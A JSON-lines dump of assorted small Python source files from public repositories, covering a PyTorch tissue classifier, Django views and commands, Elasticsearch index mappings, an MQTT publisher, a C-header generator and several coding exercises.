{}'.format(self.segment), fontsize=16)\n plt.pause(0.05)\n # plt.show()\n\n # self.final()\n # if self.plotpref == 'participant':\n # plt.close(fig=self.fig)\n #\n # if self.plotpref != 'none':\n # plt.pause(.005)\n # plt.draw()\n\n if self.saving:\n figsavepath = self.path + '/TF_figures/TF_plot_' + str(self.segment) + '.jpg'\n plt.savefig(figsavepath)\n time2 = timer()\n print(\"Time to generate plots: {}\".format(time2 - time1))\n print(\"\\n\", \"5-\" * 60)\n\n time4 = timer()\n print(\"Time ALL: {}\".format(time4 - time3))\n print(\"All operations complete for segment {}\".format(self.segment))\n\n self.segment += 1\n else:\n self.save_csv(data_dict, exp_name)\n break","repo_name":"justinhyon/RHYTHME","sub_path":"src/rhythme/non-python/misc/Codes/realtime_debug.py","file_name":"realtime_debug.py","file_ext":"py","file_size_in_byte":13180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32232039071","text":"#PICKIG TWO NUMBERS FROM THE USER AND THEN STORING THEM INTO A VARIABLE\n# THEN CALCULATE AND PRINT ON THE SCREEN.\n\nNumb_1 = input(\"enter the first number: \")\nNumb_2 = input(\"enter the second number: \")\nresult = int(Numb_1) + int(Numb_2) #int converts the inputs into numbers since python defines them as strings by default.\nprint(result) #so this gives the addition other than concatenation.\n\nname= input('my name is: ')\nprint('hello ' + name + '!')\n","repo_name":"agie-python/Practice-Python","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14657873698","text":"\"\"\"\r\nThis command is used to add an Institution to the database.\r\n\r\nExecution: python manage.py add_institution \r\n\"\"\"\r\n\r\nfrom django.core.exceptions import ValidationError\r\nfrom django.core.management.base import BaseCommand, CommandError\r\nfrom django.core.validators import URLValidator\r\nfrom django.utils.text import slugify\r\nfrom uniauth.models import Institution\r\n\r\nclass Command(BaseCommand):\r\n help = \"Adds an institution to the database.\"\r\n\r\n def add_arguments(self, parser):\r\n parser.add_argument('name')\r\n parser.add_argument('cas_server_url')\r\n\r\n def handle(self, *args, **options):\r\n slug = slugify(options['name'])\r\n cas_server_url = options['cas_server_url']\r\n\r\n if Institution.objects.filter(slug=slug).exists():\r\n raise CommandError(\"An institution with slug '\" +\r\n slug + \"' already exists.\")\r\n\r\n try:\r\n validator = URLValidator()\r\n validator(options['cas_server_url'])\r\n except ValidationError:\r\n raise CommandError(\"Provided CAS server URL '\" +\r\n cas_server_url + \"' is malformed.\")\r\n\r\n institution = Institution.objects.create(name=options['name'],\r\n slug=slug, cas_server_url=cas_server_url)\r\n self.stdout.write(\"Created institution '%s'.\\n\" % str(institution))\r\n","repo_name":"bmorck/TigerTravel","sub_path":"tiger1/lib/python3.6/site-packages/uniauth/management/commands/add_institution.py","file_name":"add_institution.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"10063138435","text":"\"\"\"\nBased on https://github.com/sedab/PathCNN\n\"\"\"\n\nimport os\nimport time\nimport random\nimport copy\nimport numpy as np\nimport pandas as pd\nfrom PIL import Image\nimport h5py\nfrom sklearn.metrics import roc_auc_score\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.nn.init as init\nimport torch.optim as optim\nimport torch.utils.data\nimport torch.backends.cudnn as cudnn\nimport torchvision.transforms as transforms\nfrom utils import new_transforms\n\nclass MyTissueData(torch.utils.data.Dataset):\n def __init__(self, hdf5_path, list_IDs, dset_type, transform=None):\n h5_file = h5py.File(hdf5_path)\n if dset_type == 'train':\n self.img_hdf5 = h5_file.get('train_img')\n self.label_hdf5 = h5_file.get('train_labels')\n elif dset_type == 'val':\n self.img_hdf5 = h5_file.get('val_img')\n self.label_hdf5 = h5_file.get('val_labels')\n elif dset_type == 'test':\n self.img_hdf5 = h5_file.get('test_img')\n self.label_hdf5 = h5_file.get('test_labels')\n self.list_IDs = list_IDs\n self.transform=transform\n\n def __getitem__(self, index):\n idx = self.list_IDs[index]\n img = self.img_hdf5[idx]\n img = Image.fromarray(img)\n label = self.label_hdf5[idx]\n if label ==2:\n label = 1\n elif label ==0:\n label = 0\n if self.transform is not None:\n img = self.transform(img)\n return img, label\n\n def __len__(self):\n return len(self.list_IDs)\n\naugment = transforms.Compose([new_transforms.Resize((imgSize, imgSize)),\n transforms.RandomHorizontalFlip(),\n new_transforms.RandomRotate(),\n new_transforms.ColorJitter(0.25, 0.25, 0.25, 0.05),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\n\ntransform = transforms.Compose([new_transforms.Resize((imgSize,imgSize)),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\n\ndef init_model(model):\n for m in model.modules():\n if isinstance(m,nn.Conv2d):\n if init_method == 'xavier':\n m.weight.data = init.xavier_normal(m.weight.data)\n elif init_method == 'kaiming':\n m.weight.data = init.kaiming_normal(m.weight.data)\n else:\n m.weight.data.normal_(-0.1, 0.1)\n \n elif isinstance(m,nn.BatchNorm2d):\n m.weight.data.normal_(-0.1, 0.1)\n\nclass BasicConv2d(nn.Module):\n def __init__(self, in_channels, out_channels, pool, **kwargs):\n super(BasicConv2d, self).__init__()\n\n self.pool = pool\n self.conv = nn.Conv2d(in_channels, out_channels, **kwargs)\n self.bn = nn.BatchNorm2d(out_channels, eps=0.001)\n\n if nonlinearity == 'selu':\n self.relu = nn.SELU()\n elif nonlinearity == 'prelu':\n self.relu = nn.PReLU()\n elif nonlinearity == 'leaky':\n self.relu = nn.LeakyReLU(negative_slope=0.01)\n else:\n self.relu = nn.ReLU()\n\n self.dropout = nn.Dropout(p=dropout)\n\n def forward(self, x):\n x = self.conv(x)\n\n if self.pool:\n x = F.max_pool2d(x, 2)\n \n x = self.relu(x)\n x = self.bn(x)\n x = self.dropout(x)\n return x\n\nclass cancer_CNN(nn.Module):\n def __init__(self, nc, imgSize, ngpu):\n super(cancer_CNN, self).__init__()\n self.nc = nc\n self.imgSize = imgSize\n self.ngpu = ngpu\n #self.data = opt.data\n self.conv1 = BasicConv2d(nc, 16, False, kernel_size=5, padding=1, stride=2, bias=True)\n self.conv2 = BasicConv2d(16, 32, False, kernel_size=3, bias=True)\n self.conv3 = BasicConv2d(32, 64, True, kernel_size=3, padding=1, bias=True)\n self.conv4 = BasicConv2d(64, 64, True, kernel_size=3, padding=1, bias=True)\n self.conv5 = BasicConv2d(64, 128, True, kernel_size=3, padding=1, bias=True)\n self.conv6 = BasicConv2d(128, 64, True, kernel_size=3, padding=1, bias=True)\n self.linear = nn.Linear(5184, num_classes)\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.conv2(x)\n x = self.conv3(x)\n x = self.conv4(x)\n x = self.conv5(x)\n x = self.conv6(x)\n x = x.view(x.size(0), -1)\n x = self.linear(x)\n return x\n\ndef train_model(model, criterion, optimizer, scheduler, num_epochs=25):\n since = time.time()\n\n best_model_wts = copy.deepcopy(model.state_dict())\n best_acc = 0.0\n\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1))\n print('-' * 10)\n\n for phase in ['train', 'val']:\n if phase == 'train':\n scheduler.step()\n model.train()\n else:\n model.eval()\n\n running_loss = 0.0\n running_corrects = 0\n\n for inputs, labels in loaders[phase]:\n inputs = inputs.to(device)\n labels = labels.to(device)\n\n optimizer.zero_grad()\n\n with torch.set_grad_enabled(phase == 'train'):\n outputs = model(inputs)\n _, preds = torch.max(outputs, 1)\n loss = criterion(outputs, labels)\n\n if phase == 'train':\n loss.backward()\n optimizer.step()\n\n running_loss += loss.item() * inputs.size(0)\n running_corrects += torch.sum(preds == labels.data)\n\n epoch_loss = running_loss / dataset_sizes[phase]\n epoch_acc = running_corrects.double() / dataset_sizes[phase]\n\n print('{} Loss: {:.4f} Acc: {:.4f}'.format(\n phase, epoch_loss, epoch_acc))\n\n if phase == 'val' and epoch_acc > best_acc:\n best_epoch = epoch\n best_acc = epoch_acc\n best_model_wts = copy.deepcopy(model.state_dict())\n\n print()\n\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(\n time_elapsed // 60, time_elapsed % 60))\n print('Best val Acc: {:4f}'.format(best_acc))\n\n model.load_state_dict(best_model_wts)\n \n return model, best_acc, best_epoch\n\ndef test_model(model, loader, dataset_size, criterion):\n \n print('-' * 10)\n model.eval()\n running_loss = 0.0\n running_corrects = 0\n whole_probs = torch.FloatTensor(dataset_size)\n whole_labels = torch.LongTensor(dataset_size)\n \n with torch.no_grad():\n\n for i, data in enumerate(loader):\n inputs = data[0].to(device)\n labels = data[1].to(device)\n\n outputs = model(inputs)\n _, preds = torch.max(outputs, 1)\n loss = criterion(outputs, labels)\n\n running_loss += loss.item() * inputs.size(0)\n running_corrects += torch.sum(preds == labels.data)\n\n outputs = F.softmax(outputs, dim=1)\n whole_probs[i*batchSize:i*batchSize+inputs.size(0)]=outputs.detach()[:,1].clone()\n whole_labels[i*batchSize:i*batchSize+inputs.size(0)]=labels.detach().clone()\n\n total_loss = running_loss / dataset_size\n total_acc = running_corrects.double() / dataset_size\n\n print('Test Loss: {:.4f} Acc: {:.4f}'.format(total_loss, total_acc))\n\n return whole_probs.cpu().numpy(), whole_labels.cpu().numpy(), total_loss, total_acc\n\ndef bootstrap_auc(y_true, y_pred, n_bootstraps=2000, rng_seed=42):\n n_bootstraps = n_bootstraps\n rng_seed = rng_seed\n bootstrapped_scores = []\n\n rng = np.random.RandomState(rng_seed)\n for i in range(n_bootstraps):\n indices = rng.randint(len(y_pred), size=len(y_pred))\n score = roc_auc_score(y_true[indices], y_pred[indices])\n bootstrapped_scores.append(score)\n # print(\"Bootstrap #{} ROC area: {:0.3f}\".format(i + 1, score))\n bootstrapped_scores = np.array(bootstrapped_scores)\n\n print(\"AUROC: {:0.3f}\".format(roc_auc_score(y_true, y_pred)))\n print(\"Confidence interval for the AUROC score: [{:0.3f} - {:0.3}]\".format(\n np.percentile(bootstrapped_scores, (2.5, 97.5))[0], np.percentile(bootstrapped_scores, (2.5, 97.5))[1]))\n \n return roc_auc_score(y_true, y_pred), np.percentile(bootstrapped_scores, (2.5, 97.5))\n\nif __name__ == '__main__':\n\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\" \n os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\n manualSeed = random.randint(1, 10000)\n print(\"Random Seed: \", manualSeed)\n random.seed(manualSeed)\n torch.manual_seed(manualSeed)\n\n cudnn.benchmark = True\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n batchSize=32\n init_method=\"xavier\"\n nonlinearity=\"leaky\"\n dropout=0.1\n ngpu=int(1)\n imgSize=int(299)\n nc=int(3)\n num_classes=int(2)\n optim_method=\"Adam\"\n lr=0.001\n beta1=0.5\n\n hdf5_path = '/path/to/xml2hdf.hdf5/'\n h5 = h5py.File(hdf5_path)\n\n list_IDs = {}\n for dset_type in ['train', 'val', 'test']:\n if dset_type == 'train':\n list_IDs[dset_type] = [i for i, j in enumerate(h5['train_labels']) if j!=1]\n elif dset_type == 'val':\n list_IDs[dset_type] = [i for i, j in enumerate(h5['val_labels']) if j!=1]\n elif dset_type == 'test':\n list_IDs[dset_type] = [i for i, j in enumerate(h5['test_labels']) if j!=1]\n\n data = {}\n loaders = {}\n for dset_type in ['train', 'val', 'test']:\n if dset_type == 'train':\n data[dset_type] = MyTissueData(hdf5_path, list_IDs['train'], dset_type='train', transform = augment)\n loaders[dset_type] = torch.utils.data.DataLoader(data[dset_type], batch_size=batchSize, shuffle=True)\n elif dset_type == 'val':\n data[dset_type] = MyTissueData(hdf5_path, list_IDs['val'], dset_type='val', transform = transform)\n loaders[dset_type] = torch.utils.data.DataLoader(data[dset_type], batch_size=batchSize, shuffle=True)\n elif dset_type == 'test':\n data[dset_type] = MyTissueData(hdf5_path, list_IDs['test'], dset_type='test', transform = transform)\n loaders[dset_type] = torch.utils.data.DataLoader(data[dset_type], batch_size=batchSize, shuffle=False)\n print('Finished loading %s dataset: %s samples' % (dset_type, len(data[dset_type])))\n\n dataset_sizes = {x: len(data[x]) for x in ['train', 'val', 'test']}\n\n model = cancer_CNN(nc, imgSize, ngpu)\n init_model(model)\n criterion = nn.CrossEntropyLoss()\n model.cuda()\n\n total_params = sum(p.numel() for p in model.parameters())\n print(f'{total_params:,} total parameters.')\n total_trainable_params = sum(\n p.numel() for p in model.parameters() if p.requires_grad)\n print(f'{total_trainable_params:,} training parameters.')\n\n if optim_method == \"Adam\":\n optimizer = optim.Adam(model.parameters(), lr=lr, betas=(beta1, 0.999))\n elif optim_method == \"RMSprop\":\n optimizer = optim.RMSprop(model.parameters(), lr = lr)\n elif optim_method == \"SGD\": \n optimizer = optim.SGD(model.parameters(), lr = lr)\n else: \n raise ValueError('Optimizer not found. Accepted \"Adam\", \"SGD\" or \"RMSprop\"') \n\n scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=7, gamma=0.1)\n\n model, best_acc, best_epoch = train_model(model, criterion, optimizer, scheduler, num_epochs=25)\n torch.save(model.state_dict(), 'best_checkpoints_epoch_{0}_acc_{1}.pth'.format(str(best_epoch), str(best_acc.item())))\n\n prob_test, label_test, loss_test, acc_test = test_model(model, loaders['test'], dataset_sizes['test'], criterion)\n\n bootstrap_auc(label_test, prob_test)\n\n # To save the results in csv, please uncomment below.\n # df = pd.DataFrame(columns=['prob', 'label'])\n # df.prob = prob_test\n # df.label = label_test\n # df.to_csv('/path/to/save/csv', index=False)","repo_name":"RubinLab/HCCSurvNet","sub_path":"tumor_tile_classifier.py","file_name":"tumor_tile_classifier.py","file_ext":"py","file_size_in_byte":12082,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"7"} +{"seq_id":"73070381342","text":"N = int(input())\n\nSTACK = []\nfor i in range(0, N) :\n inputCmd = input()\n if 'push' in inputCmd :\n _cmd, num = inputCmd.split()\n STACK.append(int(num))\n elif inputCmd == 'pop' or inputCmd == 'top' :\n if not len(STACK) :\n print(\"-1\")\n else :\n print(str(STACK[len(STACK) - 1]))\n if inputCmd == 'pop' :\n STACK.pop()\n elif inputCmd == 'size' :\n print(str(len(STACK)))\n elif inputCmd == 'empty' :\n if not len(STACK) :\n print('1')\n else :\n print('0')\n","repo_name":"JAY-Chan9yu/StudyProgramming","sub_path":"알고리즘/백준_10828_스택.py","file_name":"백준_10828_스택.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"23155659106","text":"def is_index_exist_in_elastic(elastic, index):\n if elastic.indices.exists(index=index):\n return True\n return False\n\n\ndef create_index_in_elastic(elastic, index):\n result = elastic.indices.create(index=index, ignore=400)\n if result and result[\"acknowledged\"]:\n return True\n else:\n return False\n\n\ndef mapping_to_index_in_elastic(elastic, index):\n mapping = {\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"text_analyzer\": {\n \"type\": \"custom\",\n \"tokenizer\": \"standard\",\n \"char_filter\": [\n \"html_strip\"\n ],\n \"filter\": [\n \"lowercase\",\n \"asciifolding\"\n ]\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"url\": {\n \"type\": \"keyword\"\n },\n \"title\": {\n \"type\": \"text\",\n \"analyzer\": \"text_analyzer\",\n \"search_analyzer\": \"text_analyzer\"\n },\n \"headline\": {\n \"type\": \"text\",\n \"analyzer\": \"text_analyzer\",\n \"search_analyzer\": \"text_analyzer\"\n },\n \"content\": {\n \"type\": \"text\",\n \"analyzer\": \"text_analyzer\",\n \"search_analyzer\": \"text_analyzer\"\n },\n \"category\": {\n \"type\": \"text\",\n \"analyzer\": \"text_analyzer\",\n \"search_analyzer\": \"text_analyzer\"\n },\n \"source\": {\n \"type\": \"keyword\"\n },\n \"author\": {\n \"type\": \"keyword\"\n },\n \"published_time\": {\n \"type\": \"date\"\n },\n \"published_time_display\":{\n \"type\": \"text\",\n \"analyzer\": \"text_analyzer\",\n \"search_analyzer\": \"text_analyzer\"\n },\n \"indexed_date\": {\n \"type\": \"date\"\n }\n }\n }\n }\n\n response = elastic.indices.create(\n index=index,\n body=mapping,\n ignore=400\n )\n if 'acknowledged' in response:\n if response['acknowledged']:\n return True, response\n elif 'error' in response:\n return False, response\n\n\ndef setting_max_result_search_index(elastic, index, max_result):\n body = {\n \"index\": {\n \"max_result_window\": max_result\n }\n }\n elastic.indices.put_settings(index=index,\n body=body)\n\n\n# from elasticsearch import Elasticsearch\n#\n# elastic = Elasticsearch(hosts=[\"127.0.0.1\"],\n# port=\"9200\",\n# timeout=90)\n# if not is_index_exist_in_elastic(elastic, \"vnexpress\"):\n# # create_index_in_elastic(elastic, \"vnexpress\")\n# mapping_to_index_in_elastic(elastic, \"vnexpress\")\n# # mapping_to_index_in_elastic(self.elastic, indices)\n# # setting_max_result_search_index(self.elastic, indices, max_result=100)\n# #","repo_name":"haidinhthanh/code_challenge","sub_path":"newspaper_crawl/newspaper_crawl/utils/elasticUtils.py","file_name":"elasticUtils.py","file_ext":"py","file_size_in_byte":3395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"3510771941","text":"from utils import convert_to_npy_custom\nfrom utils import convert_to_npy\nimport tensorflow as tf\nimport numpy as np\nimport argparse\nimport os\n\nos.environ['TF_XLA_FLAGS'] = '--tf_xla_enable_xla_devices'\n\ndef main(FLAGS):\n\tif FLAGS.custom_split_data: convert_to_npy_custom(FLAGS.input_dir, FLAGS.output_dir, FLAGS.input_shape)\n\telse: convert_to_npy(FLAGS.input_dir, FLAGS.output_dir, FLAGS.input_shape)\n\treturn 0\n\n\nif __name__ == '__main__':\n\n\tFLAGS = None\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument(\n\t\t'--input_dir',\n\t\ttype=str,\n\t\tdefault='../database/dataset',\n\t\thelp='Input data directory'\n\t)\n\tparser.add_argument(\n\t\t'--output_dir',\n\t\ttype=str,\n\t\tdefault='dataset',\n\t\thelp='Output data directory'\n\t)\n\tparser.add_argument(\n\t\t'--custom_split_data',\n\t\ttype=bool,\n\t\tdefault=True,\n\t\thelp='''\n\t\tThe required directory structure must be organized\n\t\tas readme file.\n NOTE THAT: label of images == folder name containing images\n\n\t\t'''\n\t)\n\tparser.add_argument(\n\t\t'--input_shape',\n\t\ttype=tuple,\n\t\tdefault=(200, 260), #HxW\n\t\thelp='Shape of input, HxW'\n\t)\n\tparser.add_argument(\n\t\t'--n_class',\n\t\ttype=int,\n\t\tdefault=2,\n\t\thelp='number of classes'\n\t)\n\tFLAGS = parser.parse_args()\n\tprint(\"input_dir = \", FLAGS.input_dir)\n\tprint(\"output_dir = \", FLAGS.output_dir)\n\tprint(\"custom_split_data = \", FLAGS.custom_split_data)\n\tprint(\"input_shape = \", FLAGS.input_shape)\n\tprint(\"n_class = \", FLAGS.n_class)\n\n\tmain(FLAGS)","repo_name":"nguyentruonglau/keras-classify","sub_path":"convert/convert_npy.py","file_name":"convert_npy.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"31572357069","text":"from django.urls import path\nfrom .views import *\n\nurlpatterns = [\n path('table///', customer_menu),\n \n path('category/products/', get_customers_category_products),\n\n path('item/add/', add_item), \n path('items/add/', add_items), \n path('item/detail/', item_detail), \n\n path('order/create/', order_create), \n path('order/view/', order_view), \n path('order/status/', order_status),\n\n \n \n]","repo_name":"ObadaTah/digital_menu","sub_path":"customers/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"26513190680","text":"import re\r\n\r\nclass HtmlExtractor:\r\n def __init__(self, positivePatternList, negativePatternList = None, matchPostProcessLambda = lambda x: x):\r\n self.matchPostProcessLambda = matchPostProcessLambda\r\n self.positivePatternList = []\r\n self.negativePatternList = []\r\n for pPattern in positivePatternList:\r\n self.positivePatternList.append(re.compile(pPattern))\r\n if (negativePatternList is not None):\r\n for nPattern in negativePatternList :\r\n self.negativePatternList.append(re.compile(nPattern))\r\n\r\n def match(self, html):\r\n html = str(html)\r\n if self.negativePatternList is not None:\r\n for negativePattern in self.negativePatternList:\r\n if (len(negativePattern.findall(html))>0):\r\n return False\r\n for positivePatternList in self.positivePatternList:\r\n if (len(positivePatternList.findall(html))==0):\r\n return False\r\n return self.matchPostProcessLambda(html)\r\n","repo_name":"Itinte/roll20_tokens_stealer","sub_path":"roll20_scrapper/HtmlExtractor.py","file_name":"HtmlExtractor.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"17385307740","text":"from typing import List\nclass Solution:\n def maxSubArray(self, nums: List[int]) -> int:\n maxValue = nums[0]\n totalSum =0\n for x in nums:\n if totalSum<0:\n totalSum = 0\n totalSum +=x\n maxValue = max(totalSum, maxValue)\n return maxValue\n\n\n\n\n\nif __name__ == \"__main__\":\n arr = [-2,1,-3,4,-1,2,1,-5,4]\n objSol = Solution()\n print(objSol.maxSubArray(arr))","repo_name":"sahilshah1610/LeetCode","sub_path":"MaximumSubArray.py","file_name":"MaximumSubArray.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37330385313","text":"from django.shortcuts import render,get_object_or_404,redirect\nfrom django.utils import timezone\nfrom django.core.paginator import Paginator\nfrom .models import Blog\nfrom faker import Faker\nfrom .forms import Blogpost\n# Create your views here.\ndef index(request):\n '''\n blog = Blog.objects\n context = {'blog': blog}\n '''\n\n # blogs = Blog.objects\n\n blog_list = Blog.objects.all()\n paginator = Paginator(blog_list,9)\n\n page = request.GET.get('page')\n\n posts = paginator.get_page(page)\n context = {'posts':posts}\n return render(request,'index.html',context)\n\ndef detail(request,blogid):\n blog = get_object_or_404(Blog, id = blogid)\n context = {'blog': blog}\n return render(request,'detail.html', context)\n\ndef new(request):\n return render(request,'new.html')\n\ndef create(request):\n blog = Blog()\n blog.title = request.GET['title']\n blog.description = request.GET['description']\n blog.pub_date = timezone.datetime.now()\n blog.save()\n\n return redirect('/blog/'+str(blog.id))\n\ndef faker(request):\n myfaker = Faker('ko_KR')\n for i in range(1,30):\n #myfaker.seed(i) 얘는 faker를 돌릴때마다 고정된 값을 생성하도록 해주는 애인데 이 경우에는 생성하자마자 저장을 해버리므로 굳이 seed를 사용해줄 필요는 없다.\n blog = Blog()\n blog.title = myfaker.name()\n blog.description = myfaker.address()\n blog.pub_date = timezone.datetime.now()\n\n blog.save()\n return redirect('index')\n\ndef new_form(request):\n if request.method =='POST':\n form = Blogpost(request.POST)\n if form.is_valid():\n post = form.save(commit=False)\n post.pub_date = timezone.now()\n post.save()\n return redirect('/blog/'+str(post.id))\n else:\n form = Blogpost()\n context = {'form': form}\n return render(request, 'new_form.html', context)\n","repo_name":"sieunK/blogproject-master","sub_path":"blogproject-master/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"132083456","text":"import paho.mqtt.client as mqtt\nimport time\nfrom random import *\nwhile True:\n mqttc = mqtt.Client()\n mqttc.connect(\"mqtt.eclipseprojects.io\", 1883)\n teste = str(int(random()*10+20))\n mqttc.publish(\"fesdan/temperatura\", teste)\n mqttc.loop(2)\n time.sleep(3)","repo_name":"ProfessorDanilo/2022","sub_path":"AluraCursosQueFiz/NodeMcu_MQTT/MQTTserver.py","file_name":"MQTTserver.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34863892032","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 31 09:17:37 2020\nautomatically creats 'cWrapper.h' which can be included by c or cpp programs\n\"\"\"\nfrom numpy.f2py import crackfortran\nimport re\nimport os\n\nTYPEMAP = {'integer':'int',\n 'real':'double',\n 'character': 'char',\n 'complex':'double _Complex'}\n\nBYVALUE = {True:' ',\n False:'* '}\n\n# ==== MAIN FUNCTION ====\ndef main():\n fname_wrapper = 'cWrapper.f95'\n fname_signature = 'shtools.h'\n\n print('now cracking Fortran file ' + fname_wrapper + ' using f2py function...')\n crackfortran.verbose = False\n crackfortran.dolowercase = False\n cracked_shtools = crackfortran.crackfortran(fname_wrapper)\n \n \n with open(fname_signature, 'w') as outfile:\n \n outfile.write('#pragma once\\n')\n outfile.write('namespace shtools{\\n')\n outfile.write('extern \"C\"\\n{\\n')\n for subroutine in cracked_shtools:\n return_type = 'void'\n if subroutine['block'] == 'function':\n \n return_type = TYPEMAP[subroutine['vars'][subroutine['name']]['typespec']]\n \n newline = return_type + ' ' + subroutine['name'] \\\n + '( ' + create_signature(subroutine) + ')' + ';'\n outfile.write(newline+'\\n')\n outfile.write('}\\n}\\n')\n \n os.system('clang-format -i -style=Mozilla ' + fname_signature)\n\n \ndef create_signature(subroutine):\n args = []\n for arg in subroutine['args']:\n var = subroutine['vars'][arg]\n \n is_called_by_value = 'attrspec' in var and 'value' in var['attrspec']\n carg = TYPEMAP[var['typespec']] + BYVALUE[is_called_by_value] + arg\n if 'intent' in var and 'in' in var['intent']:\n carg = 'const ' + carg\n args.append(carg)\n return ', '.join(args) \n \n\ndef camel_to_snake(name):\n name = re.sub(r'(.)([A-Z][a-z]+)', r'\\1_\\2', name)\n return re.sub(r'([a-z0-9])([A-Z])', r'\\1_\\2', name).lower()\n\n\n# ==== EXECUTE SCRIPT ====\nif __name__ == \"__main__\":\n main()\n","repo_name":"SHTOOLS/SHTOOLS","sub_path":"src/create_c_header.py","file_name":"create_c_header.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"en","doc_type":"code","stars":314,"dataset":"github-code","pt":"7"} +{"seq_id":"11237339633","text":"import sys\nimport os\nfrom collections import defaultdict\n\n\nif sys.argv[2] == 'hg19':\n GENE_LOCS = \"/run/data_dependencies/phrank/hg19/grch37_symbol_to_location.txt\"\nelse:\n GENE_LOCS = \"/run/data_dependencies/phrank/hg38/grch38_symbol_to_location.txt\"\n\ndef load_loc_maps(locmap):\n by_start = defaultdict(list)\n by_end = defaultdict(list)\n by_symbol = defaultdict(lambda: defaultdict(lambda: None))\n for line in open(locmap):\n lineData = line.strip().split(\"\\t\")\n symbol = lineData[0]\n if \".\" in symbol: continue\n chrom = lineData[1]\n start = int(lineData[2])\n end = int(lineData[3])\n if not by_symbol[chrom][symbol]: by_symbol[chrom][symbol] = [start, end]\n else:\n if by_symbol[chrom][symbol][0] > start: by_symbol[chrom][symbol][0] = start\n if by_symbol[chrom][symbol][1] < end: by_symbol[chrom][symbol][1] = end\n by_start[chrom].append((start, end, symbol))\n by_end[chrom].append((end, start, symbol))\n for chrom in by_start.keys():\n by_start[chrom].sort()\n by_end[chrom].sort()\n return by_start, by_end, by_symbol\n\ndef binary_search(loc_to_symbol, start, end):\n minimum = 0 #Inclusive\n maximum = len(loc_to_symbol) #Exclusive\n returnSet = set()\n index = None\n while minimum < maximum:\n index = (minimum + maximum) // 2\n location = loc_to_symbol[index]\n if location[0] < start:\n minimum = index + 1\n continue\n if location[0] > end:\n maximum = index\n continue\n break\n if index is None: return returnSet\n returnSet.add(loc_to_symbol[index][2])\n i = index - 1\n while i >= 0:\n location = loc_to_symbol[i]\n i -= 1\n if location[0] < start: break\n returnSet.add(location[2])\n i = index + 1\n while i < len(loc_to_symbol):\n location = loc_to_symbol[i]\n i += 1\n if location[0] > end: break\n returnSet.add(location[2])\n return returnSet\n\ndef find_overlapping_genes(by_symbol, by_start, by_end):\n gene_overlaps = defaultdict(set)\n for chrom in by_symbol.keys():\n for symbol in by_symbol[chrom].keys():\n start, end = by_symbol[chrom][symbol]\n start_overlaps = binary_search(by_start[chrom], start, end)\n end_overlaps = binary_search(by_end[chrom], start, end)\n gene_overlaps[symbol] = (start_overlaps | end_overlaps) - set([symbol])\n return gene_overlaps\n\ndef main(variants):\n by_start, by_end, by_symbol = load_loc_maps(GENE_LOCS)\n #atxn1start = by_symbol[\"6\"][\"ENSG00000124788\"][0]\n #atxn1end = by_symbol[\"6\"][\"ENSG00000124788\"][1]\n for line in open(variants):\n lineData = line.strip().split(\":\")\n chrom = lineData[0]\n pos = int(lineData[1])\n start_overlaps = binary_search(by_start[chrom], pos, pos)\n end_overlaps = binary_search(by_end[chrom], pos, pos)\n genes = start_overlaps | end_overlaps\n for gene in genes: print(line.strip() + \"\\t\" + gene)\n\nif __name__ == \"__main__\":\n main(sys.argv[1])\n\n","repo_name":"LiuzLab/AI_MARRVEL","sub_path":"run/phrank/src/location_to_gene.py","file_name":"location_to_gene.py","file_ext":"py","file_size_in_byte":2872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37248816494","text":"class Solution:\n def isScramble(self, s1: str, s2: str) -> bool:\n # MC W DICT MEMOIZATION & Pruning\n self.memo=defaultdict(bool)\n def solve(a,b):\n # Base conditions\n\n if(a==b):\n return(True)\n # elif(len(a)==0 or len(b)==0):\n # return(False)\n #Memo\n key=a+\" \"+b #Create unique key to be checked/stored in dictionary\n if(key in self.memo): #Return precomputed value\n return(self.memo[key])\n \n #Pruning\n x=sorted(a)\n 